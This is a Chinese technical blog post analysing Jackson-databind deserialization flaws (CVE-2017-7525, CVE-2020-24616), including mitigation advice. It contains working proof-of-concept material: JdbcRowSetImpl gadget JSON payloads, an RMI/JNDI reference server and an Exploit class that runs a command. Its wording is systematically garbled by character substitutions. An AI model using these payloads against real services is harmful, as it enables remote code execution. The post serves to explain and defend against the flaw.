前言
最近公司外部提供了一份利用高危破绽的清单,其中提到了 fastjson 和 jackson,因为之前对 fastjson 因为多态问题引发的反序列化问题有过理解,所以打算也做一个简略的剖析。
破绽简述
2020 年 08 月 27 日,360CERT 监测发现 jackson-databind 公布了 jackson-databind 序列化破绽 的危险通告,该破绽编号为 CVE-2020-24616,破绽等级:高危,破绽评分:7.5。
br.com.anteros:Anteros-DBCP 中存在新的反序列化利用链,能够绕过 jackson-databind 黑名单限度,近程攻击者通过向应用该组件的 web 服务接口发送特制申请包,能够造成 近程代码执行 影响。
受影响的版本:fasterxml:jackson-databind
: <2.9.10.6,该版本还修复了下述利用链:
- org.arrahtec:profiler-core
- com.nqadmin.rowset:jdbcrowsetimpl
- com.pastdev.httpcomponents:configuration
上述 package 中存在新的反序列化利用链,能够绕过 jackson-databind
黑名单限度,近程攻击者通过向应用该组件的 web 服务接口发送特制申请包,能够造成 近程代码执行
影响。
破绽剖析
其实此破绽和前几年 jackson 爆进去的另外一个破绽 (CVE-2017-7525) 是一脉相承的,都是利用反序列化近程执行代码;至于为什么会呈现这个问题,其实归根结底和多态无关,上面做一个简略的剖析;
序列化中的多态问题
咱们平时见得最多的 json 格局可能像上面这样:
{"fruit":{"name":"apple"},"mode":"online"}
外面是没有任何类信息的,拿到 json 字符串间接通过相干办法转化为对象:
public <T> T readValue(String content, Class<T> valueType)
像以上这种状况基本上是不会有什么问题的,然而很多业务中有 多态 的需要,比方像上面这样:
// 水果接口类
public interface Fruit {
}
// 通过指定的形式购买水果
public class Buy {
private String mode;
private Fruit fruit;
}
// 具体的水果类 -- 苹果
public class Apple implements Fruit {private String name;}
// 具体的水果类 -- 香蕉
public class Banana implements Fruit {private String name;}
能够发现这里的 Buy 对象外面寄存的是 Fruit,并不是具体的某种水果,如果这时候你去序列化:
Banana banana = new Banana();
banana.setName("banana");
Buy buy = new Buy("online", banana);
ObjectMapper mapper = new ObjectMapper();
// 序列化
String jsonString = mapper.writeValueAsString(buy);
System.out.println("toJSONString :" + jsonString);
// 反序列化
Buy newBuy = mapper.readValue(jsonString, Buy.class);
banana = (Banana) newBuy.getFruit();
System.out.println(banana);
序列化是能够胜利的,后果如下所示:
{"mode":"online","fruit":{"name":"banana"}}
然而在反序列化的时候,程序中齐全没法晓得 fruit 到底是苹果还是香蕉,所以会间接报错:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.jackson.Fruit` (no Creators, like default construct, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information
面对这种问题,jackson 提供了相干的技术支持,次要有以下这么两种:
- 全局 DefaultTyping 机制
- 为 Class 增加 @JsonTypeInfo
多态问题反对
全局 DefaultTyping 机制相对来说比较简单,一个配置就解决了;而 @JsonTypeInfo 注解模式相对来说比拟麻烦;
全局 DefaultTyping 机制
只须要对 ObjectMapper 开启此配置即可:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
这样再去执行刚刚的序列化办法,后果会是如下这样:
{"@class":"com.jackson.Buy","mode":"online","fruit":{"@class":"com.jackson.impl.Banana","name":"banana"}}
能够发现在 json 外面蕴含了类信息,这样在反序列化的时候,就能辨认具体的类,这样就能反序列化胜利;
JsonTypeInfo 注解模式
此种模式须要针对每种类型做专门的解决,相对来说比拟麻烦,咱们须要在 Fruit 接口中做解决:
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
@JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {}
能够发现如果发现是子类 Apple,就用字符 a 代替;如果发现是子类 Banana,就用字符 b 代替;序列化的后果如下:
{"mode":"online","fruit":{"type":"b","name":"banana"}}
这种模式通过在 json 字符串中增加了具体类的 type,这样在反序列化的时候也同样能够胜利;
破绽重现
以上介绍了两种 jackson 在解决多态问题的计划,那问题出在哪里;其实问题的本源就出在 全局 DefaultTyping 机制 中对生成的 json 字符串中蕴含了类信息,这样对攻击者来说就相当于留了一个后门,能够通过在 json 字符串中传入一些非凡的类,对服务器引发灾难性结果;下面也提到此问题其实在 (CVE-2017-7525) 破绽中曾经呈现,这里能够做一个简略模仿;
CVE-2017-7525 重现
过后要求的版本是不低于 2.8.9,这里间接应用此版本来模仿;
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
version>2.8.10</version>
</dependency>
一个常见的攻打类是:com.sun.rowset.JdbcRowSetImpl,此类的 dataSourceName 反对传入一个 rmi 的源,而后能够设置 autocommit 主动连贯,执行 rmi 中的办法;
这里首选须要筹备一个 RMI 类:
public class RMIServer {public static void main(String argv[]) {Registry registry = LocateRegistry.createRegistry(1098);
Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
registry.bind("Exploit", new ReferenceWrapper(reference));
}
}
这里的 Reference 指定了类名,以及近程地址,能够从近程服务器上加载 class 文件来实例化;筹备好 Exploit 类,编译成 class 文件,而后把他放在本地的 http 服务器中即可;
public class Exploit {public Exploit() {Runtime.getRuntime().exec("calc");
}
}
这里咱们做了一个简略的模仿,让服务器在本地调用计算器;
有了以上这些,上面要筹备攻打的 json 字符串,如下所示:
{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}
反序列化相干代码如下:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1098/Exploit\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);
在反序列化的时候,先执行 setDataSourceName 办法,而后 setAutoCommit 的时候会主动连贯设置的 dataSourceName 属性,最终获取到 Exploit 类执行其中的相干操作,以上的程序会在本地调起计算器;
如果做降级解决,降级到 2.8.10 版本,同样执行以上的代码,后果如下:
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Invalid type definition for type Lcom/sun/rowset/JdbcRowSetImpl;: Illegal type (com.sun.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons
能够发现 JdbcRowSetImpl 曾经进入了 jackson 的黑名单中;然而黑名单往往是不全的,后续可能常常爆出破绽,比方这次的破绽;
CVE-2020-24616 重现
这样同样应用破绽前的版本,咱们应用 2.9.10.5 版本,存在破绽的 com.nqadmin.rowset.jdbcrowsetimpl,引入如下:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.5</version>
</dependency>
<dependency>
<groupId>com.nqadmin.rowset</groupId>
<artifactId>jdbcrowsetimpl</artifactId>
<version>1.0.2</version>
</dependency>
再次提供攻打 json 字符串:
{"@class":"com.nqadmin.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}
执行下面同样的代码,应用如上 json 字符串,同样可能调起本地计算器;上面要做的就是降级版本:>2.9.10.6;再次执行后果如下:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.nqadmin.rowset.JdbcRowSetImpl`: Illegal type (com.nqadmin.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons
能够发现 com.nqadmin.rowset.JdbcRowSetImpl
曾经进入黑名单;
破绽总结
能够发现相似的破绽在很多 json 序列化工具中都有,黑名单的计划其实也是比拟临时性的,想要彻底解决这个问题其实是很难的,因为你不晓得当前还会呈现什么 jar 包有近程执行的性能,所以上面对 jackson 序列化工具做一点应用上的总结;
不要应用 DefaultTyping
能够发现问题的本源在于 DefaultTyping 形式导致在 json 字符串中呈现了类信息,其实下面也介绍了齐全能够通过 JsonTypeInfo 形式代替;只不过相对来说麻烦点,然而对于安全性来说这点不算什么;
能够发现新版 jackson 中曾经不倡议应用 DefaultTyping 了,此办法曾经被标识为@Deprecated
@Deprecated
public ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs) {}
反序列化指定具体类
其实咱们能够发现这些黑名单中的类,咱们平时很少应用,咱们大部分状况都应用的是一些业务类,这样咱们在反序列化的时候尽量应用具体类,不要应用 Object,如下面的代码:
objectMapper.readValue(json, Object.class);
如果咱们这里填的是具体的业务类,如果真的接管到一个攻打 json 字符串,其实程序首先也会对 json 中的类信息是否和指定的类信息是否统一,如果不统一,间接不会执行:
objectMapper.readValue(json, Banana.class);
下面再反序列化的时候,间接报错:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Missing type id when trying to resolve subtype of [simple type, class com.jackson.impl.Banana]: missing type id property 'type'
感激关注
能够关注微信公众号「回滚吧代码」,第一工夫浏览,文章继续更新;专一 Java 源码、架构、算法和面试。